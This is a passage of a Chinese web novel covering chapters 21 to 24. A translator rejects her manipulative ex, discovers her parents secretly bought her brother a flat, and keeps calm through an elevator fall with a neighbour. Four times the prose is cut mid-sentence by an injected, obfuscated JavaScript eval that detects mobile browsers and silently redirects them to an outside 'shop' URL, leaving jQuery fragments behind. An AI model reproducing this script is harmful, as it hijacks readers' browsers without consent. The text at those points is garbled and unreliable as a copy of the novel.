刘女士恍然大悟:“现在的科技真是越来越发达了,在家都可以做图书馆了。” 黎尚轩笑了笑,随口问道:“这本书是您最近刚买的吗?” 提到书,刘女士把这本《小姐曾说》捧了起来:“是的,这本书是最近发行的,听说这一版翻译非常传神,我在书店试读了一下发现果然不一样,立刻就买了。” 黎尚轩垂眸盯着那本书:“听说读外国文学会很重视翻译……原来是真的啊。” 黎尚轩看书就不会在乎那么多了,感兴趣就买了读,对于外国的作品只知道作者,基本上不关心译者是谁。时至今日,才知道原来讲究一些的人是会选择合适的译文的。 刘女士很高兴道:“这个翻译以前个性特别强,我看的时候感觉把原文的味道都冲淡了,所以一直不太喜欢她。这最新的一本突然就大变样了,兼顾了原语言的特色和汉语的表述习惯,现在我居然找不到比她这版更传神的译文了。” 刘女士是文学专业的大学教授,她都能称赞的作品必然是没有什么水分了。黎尚轩有些惊讶,点了点头道:“原来如此。” 从客户家里出来后,黎尚轩路过一家书店。这家书店门口的玻璃展台上恰好就摆着那本《小姐曾说》,旁边还挂着宣传海报,“知名译者段黛闭关数月”的大字直观地落入他的眼帘。 这个段黛……是他知道的那个段黛吗? 鬼使神差的,黎尚轩进了书店。 等他再出来时,手上多了一本书。 陈方烨此刻就站在书店外,正在失神地看着玻璃展台里的海报,看着硕大的“段黛”二字有些发懵,正好遇到了买书出来的黎尚轩。单看这个人的脸,黎尚轩隐约记得好像是在哪里见过,却又记不起来到底是谁。 他没再纠结,转身离开了。 陈方烨没有注意到有过一面之缘的黎尚轩,只看到了他手里拿着的那本书——段黛翻译的《小姐曾说》。 他沉默良久,最后自嘲地笑了笑,还是回家了。 段黛这边的聚餐也结束了,编辑们一个一个地从餐厅里走了出来,段黛和关月兰一起看着每个人都坐上了交通工具。等到人少了之后,关月兰抓过头来对段黛道:“你好久没更你的V博了。” 段黛愣了一下:“……V博?” 仔细一想,原主确实是有个V博。不过段黛没有在公共平台上分享生活的习惯,所以从来没登录过。 关月兰点了点头:“你之前经常在V博上分享东西的,后来突然不上线了,所以现在宣传的时候都说你是闭关后脱胎换骨……” 段黛哭笑不得:“原来是这样啊。” 关月兰道:“V博可以偶尔发一发,以后宣传新书之类的还是很有用点。” 段黛脑中闪过一些信息,不少作者都会通过经营社交平台账号来增强读者黏性,方便宣传新书。思及此,她点了点头:“我知道了。” 回到家后段黛感觉异常疲惫,一进门就进了卫生间洗澡,换了睡衣后才拿着手机回到卧室。 社交实在是太消耗能量了。段黛躺在床上叹息。 陈方烨洗过澡之后回到卧室时,已经快一点了。他打开手机看了一眼,段黛再没给他发过消息。 从前鹿颖不理他也就罢了,现在就连段黛也…… 陈方烨忽然冒出一个阴冷的想法。段黛是不是觉得自己离不开她,想要通过这种方式来拿捏他? 她是不是知道鹿颖根本不会搭理自己,所以才有恃无恐? 陈方烨有些烦躁的打开一个新媒体平台,随便刷着帖子,试图让自己乱七八糟的心平静下来。没刷几下他就看到了一条读书分享的帖子,标题上“脱胎换骨的译者段黛”一下子抓住了他的眼球。 他的手指不受控制地点了进去,接着就看到了对段黛满屏的夸奖。 “……” 因为他看了这一篇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13341397|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大数据立刻源源不断的给他推荐同一本书的书评。放眼看过去居然全是赞美,刷了半天也没找到一条不同的声音。 以前读者们对段黛的作品褒贬不一,他有时候还会故意拿一些恶评来读给她听,看她难受的样子心里会有一种诡异的快乐。如今却是…… 陈方烨是不愿意承认的。自己没有段黛后事业变得一团乱糟,而段黛没有自己后却好像越来越好了。 鬼使神差的,陈方烨拨出了段黛的电话。 段黛点开了手机里的V博,一键清除未读消息。原主还挺喜欢分享东西的,喝了什么奶茶都要发一发。“段黛”的V博号粉丝不算很多,也就一千出头的样子。 思来想去,她转发了临译社的新书宣传帖。 ——失踪人口回归。 ——段老师终于想起来她的账号密码了哈哈哈…… ——新风格很喜欢!段老师加油! ——亲眼见证人成长了。 ——段老师才想起来帮出版社宣传哈哈哈哈…… 帖子一发出去就收到了好几条评论,段黛没想到这么晚了还有人在。正在她研究原主以前发的那些V博的时候,手机忽然跳到了通话界面,在她手里振动了起来。 “……” 段黛瞥了一眼来电显示,看到“陈方烨”三个字直皱眉:“大晚上的打什么电话?” 她直接滑了挂断。 手机再次振动,对方竟是又打了过来。 段黛翻了个白眼,继续挂断。 对方坚持不懈地继续打。 “……我他大爷的真是服了。” 段黛终于还是败下阵来,滑了接听键:“你知不知道现在几点了?” “……黛黛,”陈方烨完全没有理会她的怒斥,声音中有些哽咽,“我好想念鹿颖啊。” “……” 段黛沉默了。 段黛无语了。 这是在干什么? “黛黛,当初我们在一起的时候我就说过的,我说我还是放不下她,你当时说过不介意的。” 段黛:“……” 建议恋爱脑纳入医保,真的。 陈方烨听她一直没说话,猜测段黛应该是被自己刺到心了,登时高兴了不少。就算自己离不开她又怎样?他就是要让段黛知道,哪怕得到了他这个人,也得不到他的心。 识相的话就别端什么架子了,赶紧挽回一下他还能凑合凑合以后和她结婚。 不过陈方烨还是装作一副悲伤的样子:“自从她出国之后我就再也联系不到她了,本来有你在的时候我还能控制住自己,现在你也不理我了,我就控制不住地一直想她……” 段黛的沉默震耳欲聋。 陈方烨又絮絮叨叨了好一通。开始罗列那些他和鹿颖之间的美好曾经。不过罗列了几条之后他就卡住了——他们还真没有多少美好的回忆。无话可说也没什么,陈方烨对着手机继续哽咽着,还装模作样地擦了擦鼻涕。 听着他那不知真假的抽泣声,见他终于没有要再开口的意思了,段黛终于出了声:“喜欢就去找她啊。” “……啊?” 陈方烨愣住了:“你在说气话吗?” 22. ISTJ乱杀无病呻吟 段黛慢悠悠道:“鹿颖出国是去了哪国?你不会办个签证出国去找她吗?怎么,莫非她去了缅北之类的地方,你怕自己去了会被噶腰子?” 陈方烨万万没想到段黛居然顺着他的思路继续说了,甚至还给他提出了解决方案? “别装,你又不是不知道她在哪个学校留学,这么想她就去啊。” “不是,”陈方烨一下子坐直了,“你……我都哭成这样了,你不安慰我一下吗?” 段黛“啧”了一声:“真是个废物。哭有什么用?哭又不能解决问题。我现在可是在很认真的给你提出解决问题的方案,这不比只说别哭了有用多了?” “……” 这次换成陈方烨沉默了。 他懵了好一会儿,所以段黛叫他出国去找鹿颖,不是气话,而是认真的? “好,你不愿意出国,那我们换个方法。我不回你消息你都知道夺命连环call,鹿颖不回你消息你不会也打电话?电话打不通不会发邮件?每天发个几百封邮件过去,她为了不耽误课程也肯定会来找你的!” “……这,不是,”陈方烨深吸一口气,好不容易找到了自己的声音,“你这人就没有一点同理心吗?我就想让你安慰安慰我……” “这跟同理心有什么关系?” 段黛最不擅长的就是安慰人了。段黛的共情能力是有选择性的,如果是关系非常亲密的人那她还是能感同身受的,而那些不是多么亲近的人她就没办法了,听着哭诉和抱怨也只会手足无措。 更何况段黛扪心自问,这种无病呻吟的人根本就不可能成为她多么亲密的朋友。 我们的关系还没好到能够接受你这么多情绪的程度。 陈方烨的声音有些颤抖,这次他是真的想哭了。 “明明你服个软安慰安慰我就能把我哄好了,干嘛非得……” 段黛呼出一口气,在床上翻了个身,语气中愈发不耐烦了:“你这人真是,给你提解决方案又不听,就知道一个劲儿的哭,叽叽歪歪的和个小学生一样。你都多大小了还这么矫情?活该啊你,继续难受着吧。” 陈方烨还没反应过来,电话就已经挂了。他对着手机“喂”了好几声,耳朵一下点开了某个弹幕网站播放了视频,巨大的音乐声差点把他震聋。 陈方烨把手机拿到面前,看着退回来的界面,大脑一片空白。 段黛说他是……废物? 还骂他……矫情? 脸上忽然有些痒痒的,陈方烨伸手摸了一下自己的脸,才发现自己不知道什么时候哭了。眼泪控制不住地从眼眶里涌了出来,大颗大颗地滚落。意识到自己哭了之后陈方烨只觉得满心的委屈再也抑制不住了,最后竟是把脸埋在了膝盖里,崩溃大哭。 又到了周末,段黛买了些东西去父母那里看看二老,顺便在那里吃午饭。拉开门之后,段光耀和赵玉兰赶紧接过她手里的袋子:“黛黛来啦。” 段黛点了点头:“买了点水果,洗一洗吃吧。” 赵玉兰拿了提子进厨房去洗,打开袋子后有些惊讶:“是提子啊。” 段黛“嗯”了一声。她买的提子,无籽的,吃起来很方便。这是她最近比较喜欢的一种水果。 “你爱吃橘子,以前你都是带橘子来的呢,还是第一次看你买其他水果……” 段黛笑了笑:“偶尔换换口味。” 段光耀拉着女儿在沙发上坐下。还没开口,先叹了一口气。 段黛察言观色,开口问:“怎么了这是?” 段光耀拍了拍段黛的手:“最近我和你妈去书店也看到了你的新书,听说评价还挺好的。黛黛,你是我们段家的骄傲。” 忽然被这样夸奖,段黛有些惊奇,但也是很高兴的。她穿书前的亲生父母一向奉行打压式教育,对她从来没有一句好话。久而久之,段黛对父母的认可也没有期待了。 原主的父母真好啊,好到段黛甚至有点无所适从了。 说完段光耀又叹了口气:“你那个哥哥……唉。要是段墨也能像你这么省心就好了。” 段黛:“哥哥怎么了?” 段光耀摇了摇头:“我和你妈其实对你哥哥也没有什么太高的要求,不指望他大富大贵出人头地,至少安安稳稳地能养活自己就行。他都快三十了,结婚什么的都得考虑起来了……但是你好不容易给他介绍了个不错的工作,这孩子非得要辞职!唉,他什么时候才能长大……” 段黛挑眉。段墨想辞职的事跟她说过,她当时完全没有表示反对的意思。 其实原文里也有段墨想要辞职的这个剧情,只不过原主是劝他考虑清楚的,还从各个现实的角度进行了分析,最后还拉上了父母上阵。不过段墨根本不听劝,还骂原主就是想靠这个工作来拿捏他,让他一辈子抬不起头。 段黛可不会像原主那样费心思。 “他已经辞职了?” “没呢,但是他很想辞。我和你妈劝了好几回了,有这么稳定还轻松的工作不容易……唉,这工作是你帮忙找的,你也帮忙劝劝他吧……” 没想到这么长时间了还没辞,竟是雷声大雨点小的操作。段黛有些意外,她还以为那天段墨问过之后就已经辞了呢,没想到居然坚持到现在。 赵玉兰洗好了水果放到了茶几上,在段黛另一侧坐下。段黛随手捻起一颗提子塞到了嘴里,只听赵玉兰道:“阿墨都这么大了还一点不让父母省心,唉……要是他能像黛黛这么懂事就好了……黛黛你也劝劝哥哥,让他别犯轴,辞了职追求梦想说的好听,成功了当然好,那没成功这么大年纪了还连个稳定工作都没有……唉。” 段黛笑了笑:“哥哥很讨厌我,我要是劝他说不定他逆反心理上来了更要辞职了。倒不如尊重他的想法,说不定他自己也能想明白呢。” “唉……” 段墨其实就在父母家里,他昨天晚上就到了,在这住了一晚。 听到外面嘈杂的的声音时,段墨睁开了眼睛。仔细一听,能分辨出来是段黛的声音。 看来是段黛来了。 段墨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13364340|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从床上爬了起来,正想推开门出去时,却听到父母又在那里说他不省心。段墨沉默了一会儿,放在门把手上的手到底没按下去。 段黛拍了拍父母的肩膀:“其实你们也不用太担心。老一辈的思想都是有个铁饭碗要紧,我们年轻一辈不这么想。大家打工也是为了‘赎身’能够享受生活的,而不是让自己更好的打工的。” “享受生活也得有钱啊……” 段黛安抚道:“哥哥从事的艺术创作,某种程度上也是不破不立的。如果他一直被工作束缚着,那他的创作到底还是不能完全放开手脚。既然如此,倒不如一鼓作气破釜沉舟,把工作辞了拼一把,说不定就行了呢?” 赵玉兰没想到段黛居然是支持段墨的,她有些顾虑:“艺术创作也太不稳定了……” 段黛笑了笑:“这是哥哥的梦想。虽然你们说他快三十了,但到底还年轻,不趁着这个时候冲一冲拼一拼,难道要等到以后结婚生孩子了顾虑更多的时候吗?那时候他上有老下有小,怎么可能还会像现在这样有闯劲儿?” 段墨有些动容。他轻轻推开房间门,从缝隙里向外看去。段黛竟然在劝说父母接受自己的选择,这是他始料未及的。 他原本以为,自己这个妹妹只是享受着压自己一头的优越感,会和父母一起吐槽自己呢。 是他……太狭隘了。 段黛又道:“你们也不用担心他将来饿死。我记得以前你们就说过,将来万一出什么事了也别害怕,家里永远养的起我们两个孩子。你们二老退休金加起来都有一万多,将来就算他真的颗粒无收,你们还能少他一口吃的?” 谁的孩子谁养。就算段光耀和赵玉兰对自己很好,段黛也不会把这个锅揽到自己身上的。 段光耀愣了愣:“……也是。我和你妈也不用你们帮忙养老,你们能把自己的日子过好了就行。” 赵玉兰担忧道:“我们当然能为你哥托底,但是也养不了他一辈子啊!等我和你爸都不在了,他还没个正经工作怎么行?” 段黛笑了:“你们就是担心太过了,他才不到三十岁,你们就已经开始担心他七八十岁的事情了。哥哥没有你们想的那么无用的,退一万步讲,将来他若是真的一事无成,那也最多只用你们托个四五年的底,到时候他再找工作也不迟啊,怎么就能啃你们一辈子老呢。将来的事将来再说,别担心太重了。” 她又转头去看段光耀:“当然啦,你们要是实在放心不下,那就多注意身体,争取活到一百多岁呗,我和哥哥也希望你们能多为我们操几年心呢。” 段黛脸不红心不跳地把自己以前读书时看过的哄老人的话术讲了出来。果不其然,段光耀和赵玉兰对这番话颇为受用。他们大为感动,连连道好:“我们一定好好养生,看着你们兄妹俩都有个好的归宿。” 卧室里一直听墙角的段墨轻轻松开了手,把门又合上了。 他贴着门缓缓坐了下去,盘腿坐在地上。 总缩在这偷听也不是个事,但是现在不是他出去的时候。 23. 谁都不能算计我 段光耀长长叹了口气:“你哥哥感觉自己怀才不遇,心里一直有气,所以才总是对你不是鼻子不是眼的,你也别往心里去。” 段黛笑了笑:“他一直都这样,我习惯了。” 赵玉兰抓了一小把提子放到段黛的手里:“我知道你还是生气的,不然也不会本来要送他画室现在也不送了。唉,别和你哥置气……” 段黛的眉心微微一跳。 她都快忘了还有送画室这回事了。原主确实是和父母商量过画室的事情的,不过现在他们又提起来……怎么有种奇怪的感觉。 赵玉兰又道:“这画室送给他之后,你哥哥还不得承你一辈子的情?他没有你成器,总是得麻烦你多帮扶一些……” 站在卧室里的段墨瞬间冷了脸色。他最讨厌父母说什么“你一辈子都要感谢你妹妹”这样的话了,这让他每次看到段黛都有种底气不足的感觉,最终形成了天然的厌恶。 段黛将提子塞到嘴里,借着动作不着痕迹的抽回了手。她笑了笑:“你们不能总是这样打压哥哥,不要老是给他泼冷水说他不如我之类的。我知道你们是想为了他好,但是打压不能表现爱,只会让人更难过。” 她垂眸看着手里提子那晶莹剔透的绿色:“我是按照你们的希望一步一步中规中矩地长大的,哥哥虽然没有按照你们的期望来,但也在努力探索自己的道路了。你们别总是扫他的兴,也别总试图控制他。他已经是个成年人了,没有你们想象的那么脆弱的。” 良久,段光耀和赵玉兰重重地叹了口气。 “是啊,他已经这么大了。” 段墨的喉结动了动,忽然间有些想哭。 从小到大父母说的都是“你看你妹妹多优秀”。但仔细想来这并不是段黛的错,而是父母不会教育罢了。 东亚的家长总是这样的,以打压孩子为表达爱的方式,生怕孩子有一点骄傲的情绪,以至于无数人的成长总是活在“别人家的孩子”的阴影里。 只是对于段墨来说,最悲哀的事情就是那个“别人家的孩子”就在自己家,是他一母同胞的亲妹妹。 “对了,哥哥还没到吗?都快十一点了。” 段黛拿出手机看了一眼时间。赵玉兰站起身:“你哥在睡懒觉呢,我去叫他起来。” 段黛一脸意外:“他居然在家啊?” “是啊,昨晚阿墨就来了,”赵玉兰敲了敲门,“阿墨,醒了吗?” 段墨吸了吸鼻子,调整了一下情绪,站起来打开了门:“早就醒了。” “醒了还不出来……” 做午饭是全家总动员,一家四口都进了厨房。段黛洗菜切菜,段墨剥蒜挤蒜。段光耀非常满意这种全家一起干活的样子,一边切着肉一边道:“一家人就该这样,和和气气的,总是相互置气算什么呢……” 段黛对“家”没有什么特殊的想法,听着段光耀的话虽然有些不赞同,但也不打算反驳什么。 这种事没必要非得争论个高下。 段光耀又道:“段墨,你该对你妹妹好点。上次你说话太伤人了,快给你妹妹道个歉吧。” 段墨本来心里对段黛是有几分愧疚的,也在思考应该用什么样的方式让自己能不掉面子的和段黛和好。然而段光耀此话一出,他的逆反心理瞬间上来了,看向段黛的眼神中又多了几分憎恨。 他恶声恶气道:“都是我的错,是我不该招惹你们的乖乖好女儿,行了吧?” “哎你这孩子怎么回事……” 段黛依旧面无表情,她本来就没指望能和段墨有什么兄友妹恭的相处情形。只能说段光耀和赵玉兰两人是白费一番力气了。 四人一起做饭还是很快的,不一会儿餐桌上就摆满了菜。段黛拍掉了手上的灰准备去洗手,但段墨抢在她前面挤进了卫生间:“我先洗。” 段黛耸了耸肩。谁先洗又有什么很大的差别吗。 四人在餐桌前坐下,段黛夹起一块排骨吃着,又舀了些汤汁浇在米饭上。浓郁的汤泡着米饭,味道非常美好。赵玉兰见状把排骨换到段黛面前:“慢点吃,不急。” 段黛心道我吃的也不快啊,但嘴上还是应着:“好。” “对了,你现在租的那个房子会不会太小了?我记得那个厨房都站不了第二个人……” 段黛随口道:“确实挺小的,我的书都快放不下了。我寻思等攒攒钱看看买一套自己的房子吧,不是自己家到底还是不得劲儿。” 赵玉兰吃了一惊:“你要买房?” 段墨酸溜溜道:“妹妹事业有成,当然买得起房了,哪像我……” 段光耀放下筷子,正色道:“黛黛啊,你也知道现在房地产不景气,房价可能还会再跌,我觉得现在买房不是个明智的选择。” 段黛心里那种奇怪的感觉越来越明显了,她抬眼看了一眼自己的父亲,脸上没什么表情。正常状态下段黛看起来像是板着一张脸,段光耀以为她不高兴了,赶紧解释:“其实房子也不是什么必要的,有人算过,租房子住个三四十年比买房子要划算多了……” 段黛扬了扬嘴角:“我也不是现在就买,只是有个想法而已。我手里也没有那么多钱呢。” 不知是不是错觉,段光耀和赵玉兰两人似是松了一口气。 赵玉兰又夹了一块排骨放到段黛碗里:“租房归租房,你的工作是在家做的,总得住的舒服些才能更好的写翻译。我看,你要不换个大一点的房子租吧?” 段黛最讨厌麻烦,想也没想就拒绝了:“没必要,搬一次家伤筋动骨太多了,现在住的地方也挺好的,离地铁站近,去出版社之类的地方都方便。” 赵玉兰却并没有就此作罢,而是道:“其实我和你爸前两天看到有一套房子,面积挺大的,离市中心也近,就是装修比较简单,各种电器还没装,所以房租也不算很贵……正好你也说了书都放不开了,要不去看看?” 段黛咀嚼的动作一顿,抬头道:“房租多少?” “不到五千。” 她皱了皱眉:“有点贵了,我现在住的房子房租才两千。” “但是这个房子大呀,有三个房间呢……” 段墨不满:“她就一个人,住三个房间的房子干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388268|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么?” 段黛的成长环境让她习惯性地提防每一个人,包括父母。刚穿来的时候她觉得段父段母还挺好的,但现在总觉得有些不对劲。 她笑了笑,顺着他们的意思道:“也不是不行,不过我最近比较忙,等到时候再看看。” 段光耀道:“也别考虑太久了,这么好的房子估计很快就会被租掉的……” 段黛的脸上依旧挂着标准的笑:“好,我知道了,我会尽快的。” 吃过饭后,段黛大喇喇的走到沙发上坐下。赵玉兰收拾着餐桌,段光耀在厨房里洗碗。 段黛半靠在沙发上,合上双眼。看似是在小憩,实际是在思考。 她在回忆原主的记忆,拼凑着关于父母的所有印象。 “……” 关门声传来,段黛霍然睁开眼睛,环视四周。父母还在厨房,段墨进了卫生间。她起身直接走到段墨过夜的那个房间里,左右看了一圈,最后锁定了床头柜。 拉开下面一格,一张房产证赫然出现在她的视野之中。 段黛深吸一口气,虽然震撼,但手上的动作非常迅速。她翻开房本,拿着手机咔嚓咔擦拍了两页。 房产证上的姓名是段墨,地址没仔细看,但应该是在市中心那里,面积是93平。 来不及看太多,段黛拍完照之后把房本原样放了回去,合上抽屉后从房间里走了出来。刚在沙发上坐下,段墨就从卫生间里出来了。 段黛淡淡地看了他一眼,扬声对厨房里的父母道:“爸,妈,出版社联系我有点事,我先走了。” “这么快就走了啊?”赵玉兰有些惊讶,赶紧从餐厅里走了出来。 段黛笑了笑:“临时通知的,我过去看看。” “那慢走啊,路上注意安全。” 段黛维持着脸上的假笑,直到下了楼才收起了笑脸。 她几乎是跑着出了小区上了地铁,点开手机里的图片仔细查看着。 临安市的房价算是比较高的,光靠段墨自己肯定是买不起房的,这个房子必然是段光耀和赵玉兰两个人出的钱。段黛查了一下那个地址附近的房价,看到了那个小区房子大致的首付和月供。 每个月要还的房贷是四千多。 坐在空旷的列车里,段黛突兀地笑了。 赵玉兰极力想让她搬进一个只有简装的房子的时候,她就感觉到不对劲了。简装,入住的话需要自己购买空调、洗衣机等生活必备的家用电器,任谁看都不是租房子的最佳选择。 段黛当时就想到了“父母给儿子买房后再租给女儿,用女儿交的房租来还房贷”的事情。 她恍惚记得,在原书里,女主确实在这个时期搬了家。按照原书的描写,是“搬进了一个更大的房子,以后能放更多的书了”。 “无人爱她……” 段黛喃喃自语。 父母的偏爱只是表象,他们还是会把资源和财产留给自己的儿子。而原主就被那一块排骨和几句夸赞蒙蔽,傻傻的以为自己是重男轻女的例外。 难怪这本书的名字叫做——无人爱她。 24. 教科书式的应急反应 段黛靠在座位上,看着玻璃窗外的蓝天白云。 现在想来,原主对爱意如此渴求,或许就是因为发现了父母的亲情只是漂浮在空中,根本没有落在地上而已。 她在家庭之中,并没有安全感,所以习惯性地去讨好其他人,通过把自己放到一个低姿态的方式来维系着身边的亲密关系。 这一点段黛和原主倒是大不相同了。段黛虽然也是亲情淡漠,但她对亲密关系从不期待。她也不在乎其他人到底喜不喜欢自己,她只是平等地漠视甚至讨厌所有人。 发现“父母”的真面目对她来说打击并不算很大。段黛反倒是很庆幸,要是这么不清不楚的一直被蒙在鼓里,到时候被吃干抹净了还不自知,那才是最恐怖的。 从父母这里到她住的地方坐地铁要一个多小时。她深吸一口气,重新打开手机,检查自己的签证信息。 《经录》的翻译虽然在稳步进行,但后续需要打的补丁很多。尽管当年原主出国实地考察时找到了不少有用的信息,但到底不是段黛亲自去的,总还是差点什么。 既然如此,那不如再出国去一次,仔细调查一下情况。同时也先摆脱一下父母,避免他们问起来自己到底租不租房子时不好应付。 检查证件没什么问题之后,段黛又思考了一番现在自己手上还有什么事情没有完成。各种事务在脑子里过了一遍,她估算出了一个差不多的时间。接着她打开和关月兰的聊天框,发消息道:【我大概在一个月或者两个月之后出国搜集资料,如果出版社那边有需要我的工作一定在那之前内联系我。】 片刻后关月兰回复了“OK”的手势。 之后段黛又去给公司的刘总发消息,问他现在公司的情况如何,陈方烨是不是还在和Season空降的管理人员斗法。 一个小时过去后,段黛收起了有些发烫的手机。她从车上下来,走过门闸,向着家的方向快步走去。 这个小小的出租屋,才是她真正的家。 钥匙扭动打开沉重的防盗门,段黛换了拖鞋,到卫生间洗了把脸。擦掉脸上的水珠后,她走向了书房,按下了电脑的开机键。 忙起来的时候,脑子里就不会想那么多的事情。 继续写翻译吧。 傍晚的时候,段黛的手机收到一条消息,是Season空降的那位宋语瑶约她见面。段黛看了一下时间,回复了一个【OK,到时候见】。 对面很快发来地址和房间号,是在一间公寓楼里,大约是某个酒店的房间。 段黛合上电脑后简单洗漱了一下,重新扎了个头发就出门了。下楼后刚走了几步,她就看到了同样刚从单元楼里出来的黎尚轩。 黎尚轩穿的黑衬衫和西装裤,走近之后能看到他还打了一条黑色的领带,看起来很正式的样子。 两人四目相对,同时“啊”了一声。 段黛有些意外:“好巧,你也出门啊。” 黎尚轩点了点头:“工作上的事情。你呢?” 段黛:“我也是工作上的事情。” 打过招呼之后两人就不再说话了。他们中间维持着一个不远不近的距离,一路沉默着走出了小区。 直到他们一起进了地铁并且坐上了同一班列车后,段黛终于意识到这好像有点太巧合了:“你也往这边走啊。” 现在正好是下班的时间,他们这条线的人比以往会多一些,但还是有位置的,所以两人只能一起坐在相邻的位置上。黎尚轩也感觉到了:“我在武林广场下,你呢?” 段黛惊奇地转头看他:“我也是。” “……太巧了吧。” 又是一阵沉默。 黎尚轩想起来自己前几天买的那本书。他后来读了一下,发现确实和以往读外国文学的感觉不一样,难怪大家都对这版翻译评价很高。 他踌躇片刻,试探性地开口:“那个……段黛?” 这还是他第一次叫她的名字。段黛愣了一下,转过头来:“嗯?” 黎尚轩:“我前几天买了本书,作者……不是,译者的名字就叫段黛。” 他看向她:“那个段黛……是你吗?” 段黛点了点头:“对,就是我,我的工作就是翻译英语和法语作品。” “真的是你啊!”黎尚轩很是惊奇,“我之前的客户是个文学教授,她还夸了你这版翻译很传神呢。我就是因为她说了才去买了书看的。” 段黛微微一笑:“谢谢夸奖。” “……” 又是沉默。 显然黎尚轩是个不善言辞的人。段黛虽然有时候能说会道的,但是也并不擅长主动搭话。于是两人相顾无言,一路坐到了下车的那一站。 从地铁里出来,段黛向着公寓的方向走去。然而黎尚轩这次依然和她同路。走出一百米后,黎尚轩道:“你不会也要去A座吧……” 段黛:“……这么巧吗。” 那间公寓楼是商住一体的,既有个人住户也有酒店民宿。黎尚轩之前帮住在这里的一个客户设计了一间loft公寓,今天是趁着前客户下班在家的时候过去回访看看情况。 两人一起进了电梯,黎尚轩按了35层,段黛按了36层。 段黛忍不住笑了:“都坐的高层电梯已经很巧了,没想到楼层都这么近。” 电梯里陆陆续续又进来了几个人,随后缓缓升起。其他人在他们之前都先到了楼层,直到32层之后,电梯里又只剩他们两个人了。 段黛按下了关门键。 忽然传来一阵闷响,显示屏上的数字一片混乱,失重的感觉从脚下穿来,段黛起了一身鸡皮疙瘩。 黎尚轩吓了一跳:“怎么回事?” “电梯在下坠!”段黛喊到,“别慌!压低重心屈起双腿!” 与此同时,段黛左手按着上面的警铃键,右手快速同时按下最下面的1、-1、-2三个键。黎尚轩扶着电梯墙壁,下意识按照段黛说的半蹲下去。到底是健过身的,黎尚轩稍微晃了几下,很快就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409910|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把身体稳住了。 他头上冒出了一层冷汗,忽然意识到这样子并不是为了让自己不摔倒,而是让电梯下坠时自己能够有所缓冲。他仓惶地抬起头来,只见段黛已经按照方才说的摆好了姿势,两只手快速的在楼层键上按动着。 段黛的脸上依旧没有什么表情,似乎一点也不慌。 “砰”的一声,脚下的失重感好像消失了,接着一顾强大的推力从脚下传来,黎尚轩扶着墙壁才勉强没摔倒。显示屏上的楼层在13层,但他们这个是高层电梯,13层根本就出不去。 他们被吊在半空中了。 段黛一脸冷静:“电梯估计还会下坠,保持警惕别松懈。” 她继续按着上面的警铃,终于有声音传了进来:“您好?” 段黛:“这里是A座高层电梯南侧第一个,刚才电梯从32层往下落,现在卡在13层这里了。” 她从头到尾都没有露出一点惊慌的神色,几乎是在问题发生的瞬间就采取了最佳对策,这让黎尚轩莫名想到了公司最近正在训练的AI。 对讲里传来了工作人员的声音:“收到,请您屈起膝盖,时刻警惕电梯再次下坠的风险,维修人员马上……” 话音未落,下坠感再次传来,但没有一开始那么快速了。段黛迅速再次同时按下那三个低楼层键,喊道:“屈膝!站稳了!” 黎尚轩浑身冰凉,脑子一片空白,下意识按照段黛说的去做。 只听叮叮哐哐一阵巨响,两人在电梯里踉跄了好几步。眼看着楼层越来越低,黎尚轩开口喊到:“跳!跳起来!” 段黛不假思索地跟着他一起起跳。接着就是“砰”的一声响,电梯停了。 显示屏上显示着“-2”。 电梯门缓缓开启,外面是地下停车场。 段黛直起腰来,恶狠狠地战栗了一下。她深吸一口气,转头对看上去已经吓呆了的黎尚轩道:“先出来吧,还好我们都没事。” 从电梯里出来之后,黎尚轩后知后觉地发现自己的衣服已经被冷汗浸透了。他站在外面发了好一会儿的呆,好半天才回过神来。 他转头看向一旁正在用手机发消息的段黛,扯出了一个笑容:“幸好有你在,不然我不可能毫发无伤的从电梯里出来的。” 段黛微微一笑:“我也是第一次遇到这种事,现在也算是有经验了。” 黎尚轩忽然听到了自己咚咚的心跳声。他有些纳闷,怎么都摆脱危险了,才后知后觉地心跳加速了呢。 